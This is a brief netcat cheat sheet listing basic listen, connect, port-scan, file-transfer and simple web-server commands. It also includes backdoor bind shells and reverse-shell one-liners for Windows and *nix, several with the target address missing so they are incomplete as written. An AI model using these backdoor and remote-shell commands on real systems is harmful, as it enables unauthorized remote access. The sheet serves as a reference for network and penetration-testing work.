Netcat Cheat Sheet

Listen on port 8080

nc -l -p 8080

Connect to on port 80

nc 80

Listening windows backdoor

nc -l -p 888 -e cmd.exe

Listening *nix backdoor

nc -l -p 888 -e /bin/bash

Reverse windows shell to

nc 888 -e cmd.exe

Reverse *nix shell to

nc 888 -e /bin/bash

Port scan an IP Adddress

nc -v -n -z -w1 [TargetIPaddr] [StartPort] - [EndPort]

To pipe a text file to the listener:

cat infile | nc 567 -q 10

Using netcat to make an HTTP request

echo -e "GET HTTP/1.0nn" | nc -w 5 80

Making a one-page webserver; this will feed homepage.txt to all comers.

cat homepage.txt | nc -v -l -p 80

Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License